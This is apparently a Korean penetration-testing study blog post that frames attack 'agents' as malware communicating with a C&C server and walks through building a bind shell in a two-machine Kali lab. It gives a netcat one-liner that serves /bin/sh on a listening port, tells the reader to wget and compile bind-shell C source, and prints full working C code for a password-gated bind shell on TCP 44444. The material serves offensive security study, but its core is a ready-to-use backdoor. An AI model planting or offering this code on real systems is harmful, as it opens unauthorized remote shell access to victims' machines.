Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

TH3 6R3@T H@CK

AGENT 본문

Study/Penetration Test

AGENT

vvh0am1 2024. 3. 22. 18:01

AGENT

· 사용자의 개입 없이 주기적으로 정보를 모으거나 또는 일부 다른 서비스를 수행하는 소프트웨어 프로그램

· 제어 서버와 통신을 통해 사전 정의된 행위를 수행하고 데이터 수집 후 전송

 

AGENT = Malware

· 공격 대상 시스템에 설치되어 실행

· 탐지되지 않고

· 공격자의 C&C(Command & Control) 서버와 지속적으로 통신하며

· 공격자의 명령을 받아 실행하고

· 결과를 전송

 

구현해야 될 AGENT 기능

· 바인드 쉘(Bind Shell)

- TCP 포트에서 Attacker의 연결 대기

- Victim의 앞 단에 방화벽(Firewall)이 없거나, Victim이 공인(Public) IP를 사용하는 경우에 적합

- 공격 탐지 가능성 높음: TCP Port Listening

 

· 공격자 접속 시 연결 수락 → 명령어 입력을 위한 Shell 실행(제공)

- 공격자는 원격에서 명령 실행 및 결과 확인 가능

 

※ Bind Connection: Victim에서 포트를 열고 Attacker가 Victim으로 접속하는 연결 방식

 

AGENT 개발 및 실행 환경

· 피해자: Kali Linux (에이전트 실행)

· 공격자: Kali Linux (에이전트 연결 및 개발)

 

 

 

AGENT 실습

 

AGENT 개발

· 기능(Bind Shell): TCP 11111번 포트로 공격자 접속 대기

· wget으로 C 소스코드 다운받아 gcc로 컴파일

https://raw.githubusercontent.com/geyslan/SLAE/master/1st.assignment/shell_bind_t cp.c

 

· 기능 테스트: 좌(Victim) / 우(Attacker)

 

· netcat을 이용하여 TCP 55555 포트에서 입력 대기하는 Bind Shell → nc -lvp 55555 -e /bin/sh

- Victim 포트 오픈

 

· shell_bind_tcp.c 코드를 수정하여 TCP 44444 포트에서 입력 대기하는 Bind shell

· 단, 비밀번호(********) 인증 후 Shell 실행

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main()
{

        int resultfd, sockfd;
        int port = 44444;
        struct sockaddr_in my_addr;

        // syscall 102
        // int socketcall(int call, unsigned long *args);

        // sycall socketcall (sys_socket 1)
        sockfd = socket(AF_INET, SOCK_STREAM, 0);

        // syscall socketcall (sys_setsockopt 14)
        int one = 1;
        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

        // set struct values
        my_addr.sin_family = AF_INET; // 2
        my_addr.sin_port = htons(port); // port number
        my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP

        // syscall socketcall (sys_bind 2)
        bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr));

        // syscall socketcall (sys_listen 4)
        listen(sockfd, 0);

        // syscall socketcall (sys_accept 5)
        resultfd = accept(sockfd, NULL, NULL);

        char buf[8];
        int ret = 0;
        write(resultfd, "Enter Password: ", 16);
        read(resultfd, &buf, 8);
        ret = strncmp("*******", buf, 8);

        if(ret == 0)
        {       // syscall 63
        dup2(resultfd, 2);
        dup2(resultfd, 1);
        dup2(resultfd, 0);


                execve("/bin/sh", NULL, NULL);
        }

        return 0;
}

 

'Study > Penetration Test' 카테고리의 다른 글

Reconnaissance: Key Logger  (0) 2024.05.01
Attacking Web Pages  (0) 2024.04.17
Deployment and Expansion  (0) 2024.04.03
MSFconsole  (0) 2024.03.22
Reverse Shell  (0) 2024.03.20